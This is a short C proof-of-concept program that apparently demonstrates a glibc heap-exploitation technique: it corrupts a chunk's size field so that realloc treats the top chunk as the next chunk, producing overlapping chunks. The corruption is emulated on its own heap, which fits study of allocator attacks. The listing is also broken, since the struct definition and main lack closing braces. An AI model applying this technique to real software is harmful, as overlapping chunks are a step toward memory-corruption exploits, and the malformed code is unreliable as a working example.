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#include <stddef.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#define PREV_INUSE 0x1
#define IS_MMAPPED 0x2
typedef size_t INTERNAL_SIZE_T;
struct malloc_chunk {
INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if free). */
INTERNAL_SIZE_T size; /* Size in bytes, including overhead. */
struct malloc_chunk* fd; /* double links -- used only if free. */
struct malloc_chunk* bk;
/* Only used for large blocks: pointer to next larger size. */
struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
struct malloc_chunk* bk_nextsize;
typedef struct malloc_chunk* mchunkptr;
int main(int argc, const char* argv[]) {
printf("the goal of this example is to create overlapping chunks via the " \
"corruption of the size field of a chunk passed into realloc, " \
"making top its next chunk \n");
void *mem = malloc(0x400);
mchunkptr victim = (mchunkptr)((char*)mem - offsetof(struct malloc_chunk, fd));
printf("allocated victim chunk with requested size 0x400 at %p, " \
"victim->size == 0x%zx\n", (void *)mem, victim->size);
void *target = malloc(0x400);
printf("allocated target chunk at %p, residing between victim and top\n", target);
printf("emulating corruption of the size of victim so that top appears " \
"to be its next chunk\n");
victim->prev_size = 0;
victim->size = 0x821;
printf("reallocating victim with size 0x1000\n");
void *mem2 = realloc(mem, 0x1000);
printf("realloc returned: %p\n", mem2);
return 0;